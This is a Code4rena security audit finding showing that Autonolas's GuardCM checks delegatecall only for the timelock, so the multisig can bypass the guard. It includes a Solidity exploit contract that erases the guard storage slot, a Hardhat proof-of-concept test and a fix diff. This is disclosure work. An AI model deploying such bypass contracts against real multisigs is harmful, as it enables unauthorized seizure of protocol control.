CM can `delegatecall` to any address and bypass all restrictions

criticalCode4rena

Lines of code

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/governance/contracts/multisigs/GuardCM.sol#L405-L407

Vulnerability details

Impact

The GuardCM contract is designed to restrict the Community Multisig (CM) actions within the protocol to only specific contracts and methods. This is achieved by implementing a checkTransaction() method, which is invoked by the CM GnosisSafe before every transaction. When GuardCM is not paused, the implementation restricts calls to the schedule() and scheduleBatch() methods in the timelock to only specific targets and selectors, performs additional checks on calls forwarded to the L2s and blocks self-calls on the CM itself, which prevents it from unilaterally removing the guard:

solidity
	if (to == owner) {
		// No delegatecall is allowed
		if (operation == Enum.Operation.DelegateCall) {
			revert NoDelegateCall();
		}

		// Data needs to have enough bytes at least to fit the selector
		if (data.length < SELECTOR_DATA_LENGTH) {
			revert IncorrectDataLength(data.length, SELECTOR_DATA_LENGTH);
		}

		// Get the function signature
		bytes4 functionSig = bytes4(data);
		// Check the schedule or scheduleBatch function authorized parameters
		// All other functions are not checked for
		if (functionSig == SCHEDULE || functionSig == SCHEDULE_BATCH) {
			// Data length is too short: need to have enough bytes for the schedule() function
			// with one selector extracted from the payload
			if (data.length < MIN_SCHEDULE_DATA_LENGTH) {
				revert IncorrectDataLength(data.length, MIN_SCHEDULE_DATA_LENGTH);
			}

			_verifySchedule(data, functionSig);
		}
	} else if (to == multisig) {
		// No self multisig call is allowed
		revert NoSelfCall();
	}

However, a critical oversight in the current implementation allows the CM to perform delegatecalls to any address but the timelock. As can be seen above, DelegateCall operations are only disallowed when the target is the timelock (represented by the owner variable). What this effectively means is that the CM cannot run any Timelock function in its own context, but it can delegatecall to any other contract and hence execute arbitrary code. This allows it to trivially bypass the guard by delegating to a contract that removes the guard variable from the CM's storage.

The CM holds all privileged roles within the timelock, which is in turn the protocol's owner. This means that the CM can potentially gain unrestricted control over the entire protocol. As such, this vulnerability represents a significant risk of privilege escalation and is classified as high severity.

Proof of Concept

We can validate the vulnerability through an additional test case for the GuardCM.js test suite. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

It sets up the guard using the setGuard function with the appropriate parameters.
It attempts to execute an unauthorized call via delegatecall to the timelock, which should be reverted by the guard as expected.
It deploys an exploit contract, which contains a function to delete the guard storage.
It calls the deleteGuardStorage function through a delegatecall from the CM, which will remove the guard variable from the safe's storage.
It repeats the unauthorized call from step 2. This time, the call succeeds, indicating that the guard has been bypassed.

A simple exploit contract could look as follows:

solidity
pragma solidity ^0.8.0;

contract DelegatecallExploitContract {
    bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;

    function deleteGuardStorage() public {
        assembly {
            sstore(GUARD_STORAGE_SLOT, 0)
        }
    }
}

And the test:

javascript
        it("CM can remove guard through delegatecall", async function () {
            // Setting the CM guard
            let nonce = await multisig.nonce();
            let txHashData = await safeContracts.buildContractCall(multisig, "setGuard", [guard.address], nonce, 0, 0);
            let signMessageData = new Array();
            for (let i = 1; i <= safeThreshold; i++) {
                signMessageData.push(await safeContracts.safeSignMessage(signers[i], multisig, txHashData, 0));
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);

            // Attempt to execute an unauthorized call
            let payload = treasury.interface.encodeFunctionData("pause");
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
                Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await expect(
                safeContracts.executeTx(multisig, txHashData, signMessageData, 0)
            ).to.be.reverted;

            // Deploy and delegatecall to exploit contract
            const DelegatecallExploitContract = await ethers.getContractFactory("DelegatecallExploitContract");
            const exploitContract = await DelegatecallExploitContract.deploy();
            await exploitContract.deployed();
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(exploitContract, "deleteGuardStorage", [], nonce, 1, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);

            // Unauthorized call succeeds since we have removed the guard
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
                Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);
        });

To run the exploit test:

Save the exploit contract somewhere under the governance directory as DelegatecallExploitContract.sol.
Add the test to the "Timelock manipulation via the CM" context in governance/test/GuardCM.js and run it using the command npx hardhat test --grep "CM cannot bypass guard through delegatecall". This will run the test above, which should demonstrate the exploit by successfully making an unauthorized call after the guard has been bypassed.

Tools Used

Hardhat

Recommended Mitigation Steps

Disallow delegatecalls entirely:

diff
@@ -397,15 +397,14 @@ contract GuardCM {
         bytes memory,
         address
     ) external {
+        // No delegatecall is allowed
+        if (operation == Enum.Operation.DelegateCall) {
+            revert NoDelegateCall();
+        }
         // Just return if paused
         if (paused == 1) {
             // Call to the timelock
             if (to == owner) {
-                // No delegatecall is allowed
-                if (operation == Enum.Operation.DelegateCall) {
-                    revert NoDelegateCall();
-                }
-
                 // Data needs to have enough bytes at least to fit the selector
                 if (data.length < SELECTOR_DATA_LENGTH) {